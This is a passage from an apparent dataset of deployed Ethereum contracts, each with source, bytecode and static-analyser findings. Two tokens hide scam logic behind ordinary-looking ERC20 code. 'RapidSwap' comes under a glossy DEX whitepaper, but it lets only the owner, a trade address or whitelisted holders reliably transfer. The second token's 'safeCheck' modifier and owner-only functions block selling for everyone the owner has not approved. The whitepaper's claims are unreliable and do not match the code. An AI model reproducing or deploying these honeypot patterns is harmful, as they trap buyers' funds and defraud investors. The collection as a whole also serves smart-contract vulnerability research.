640190fd5b600160a060020a038316600081815260046020908152604091829020805460ff191686151590811790915582519384529083015280517ff022c1fbc00daf4d2e6cdc62e0338b967bd3be38ccc3d7f8e0168bd668c7bcfe9281900390910190a150600192915050565b6000612143612720565b600160a060020a03851681526020810184905260408101839052825160009060189085908390811061217157fe5b90602001015160f860020a900460f860020a0260f860020a900463ffffffff169060020a0260108560018151811015156121a757fe5b90602001015160f860020a900460f860020a0260f860020a900463ffffffff169060020a0260088660028151811015156121dd57fe5b90602001015160f860020a900460f860020a0260f860020a900463ffffffff169060020a0286600381518110151561221157fe5b90602001015160f860020a900460f860020a0260f860020a900401010190508060e060020a0282606001907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815250506001925050509392505050565b60008054600160a060020a031633146122de576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b600160a060020a038416600090815260056020908152604091829020805460ff19168615151790559051835184928291908401908083835b602083106123355780518252601f199092019160209182019101612316565b51815160209384036101000a60001901801990921691161790526040805192909401829003822089151583529351939550600160a060020a038a1694507f292123b68099c6aa2b5d37989544acbb7000794b52d1f629067b3f3ee1ce79fa9391829003019150a35060019392505050565b6000805460a060020a900460ff16156123be57600080fd5b336000908152600360209081526040808320600160a060020a0387168452909152902054611319908363ffffffff61268a16565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600054600160a060020a0316331461246d576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60066020526000908152604090205460ff1681565b60008054600160a060020a03163314612502576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b600160a060020a038416600090815260066020908152604091829020805460ff19168615151790559051835184928291908401908083835b602083106125595780518252601f19909201916020918201910161253a565b51815160209384036101000a60001901801990921691161790526040805192909401829003822089151583529351939550600160a060020a038a1694507f3d08b6e3d62b04396eca9fe996bd52ef13d33affdfb79e470ed9fdbe491045239391829003019150a35060019392505050565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561262d57600080fd5b505af1158015612641573d6000803e3d6000fd5b505050506040513d602081101561265757600080fd5b5051151561266457600080fd5b505050565b80820382821180159061267c5750828111155b151561268457fe5b92915050565b81810182811080159061267c57508181101561268457fe5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106126e357805160ff1916838001178555612710565b82800160010185558215612710579182015b828111156127105782518255916020019190600101906126f5565b5061271c929150612748565b5090565b6040805160808101825260008082526020820181905260609282018390529181019190915290565b61276291905b8082111561271c576000815560010161274e565b9056004f312d204f776e6572206f6e6c792066756e6374696f6e000000000000000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820e57fac0ba1fd4daa334e44bc9bd5fdf4527e2ce8c6096fbecb502137361b28b20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,657 |
0x3719c13d28a5adaba97b6c343b1f51e57b6b6e7d
|
/**
*Submitted for verification at Etherscan.io on 2021-02-15
*/
/*
We introduce Rapid Swap, a collision and front-running resistant decentralized exchange protocol on Ethereum BlockChain that integrates verifiable delay functions (VDF) as a proof-of-elapsed-time to resolve same-block order conflicts while preventing front-running attacks. Our proposal is the only decentralized exchange protocol that is very quick, publicly verifiable, resolvable, liquidity neutral, and front-running resistant.
1. Introduction
This is the summer of DeFi. We’ve seen the release and growth of hundreds of projects in the space, which together have created a more powerful DeFi network; clean, intuitive interfaces; and an explosion in locked value. We’ve also seen the introduction of several new, novel projects.But the novel and well-designed aren’t the same things, and many of the underlying weaknesses of DeFi remain.
1.1. Speed and Usability
Above all else, DeFi is slow and expensive. It costs dollars to do a trade, and minutes for it to clear. This is fine for some use cases-but many customers prefer the fast, cheap execution of centralized exchanges. It’s hard to stare at your Metamask wallet waiting for a trade to be confirmed without missing centralized exchanges
1.2. Centralization
When you trace all the way through, most DeFi protocols bottom out in a centralized oracle-often in the most crucial step.Sometimes, this is a liquidation price oracle pointing to centralized exchange APIs. Other times it’s a council of token holders. Sometimes it’s the team of the protocol itself.
There’s a further problem too — most decentralizing protocols are computationally intensive. Fitting them into the ETH blockchain in a way that is cost-efficient and fast has mostly eluded the space.
That’s not to say that centralization is always bad! USDT, USDC, and similar tokens are great projects which have revolutionized the entire crypto industry. They power much of the volume, and if you want something that can be turned into a dollar 24/7 that’s the only game in town and probably always will be. Because fundamentally dollar bills aren’t on the blockchain, they’re in bank accounts.
1.3. Orderbooks
Uniswap has quietly revolutionized DeFi by allowing trading without order books.But the more remarkable thing is that Automated Market Making is necessary. AMM is a system where there are no limit orders, or even bids or offers; in an order book, you can decide the price, size, and direction you want to trade.
There are lots of disadvantages to AMM. You can’t provide liquidity unless you provide both sides; you can’t choose to only provide at a particular price; you can’t provide at a price other than the current market price, and you can’t select the size to provide there without providing way more behind it.
There’s a solution to this–it’s what the rest of finance does. But DeFi doesn’t have order books, by and large, because the ETH network is too slow and expensive to support them. Matching bids and offers with each other involve a bunch of operations.
1.4. Cross-chain Support
There have been many attempts at cross-chain support. WBTC is probably the most known, creating an ERC20 token wrapping BTC; Thorchain is building an entire protocol that allows for complete, fast cross-chain support.
There are lots of ways to attempt it. One thing all of the current versions have in common, though, is an oracle, or panel of token holders, or some other place where the truth is decided by people expected to be honest. Because, fundamentally, BTC isn’t on Ethereum, so how can a smart contract know or impact its transfers?
Enter RAPID SWAP Protocol!
Rapidswap is not perfect; nothing is. There are fundamental tradeoffs between speed and decentralization; sophistication and ease of use. But RAPIDSWAP is different, and it’s powerful. Its software enables a fast DEX; it has cross-chain support, stable coins, wrapped coins, order books, and the ability to create custom and novel financial products; and while having all of those, it’s fully decentralized. There are no oracles to centralized price feeds; no tribunals whose honesty you rely on. Rapidswap is pure DeFi. And unlike current DeFi, it’s very fast and cheap.
2. Project RAPID SWAP
Project Rapidswap will unveil a fully functional decentralized exchange with trustless cross-chain trading, all at the speed and price that customers want. And despite living natively on Ethereum BlockChain, it will be interoperable with Ethereum. Rapidswap made of seven main ingredients:
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RapidSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582049f71fb8ee126486aa2e799cb38ce715a634400dce7d34eb94224ac9c66c467064736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,658 |
0xd33c8544ced0c0d4caee2fc7066fd26843783e88
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_STR(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215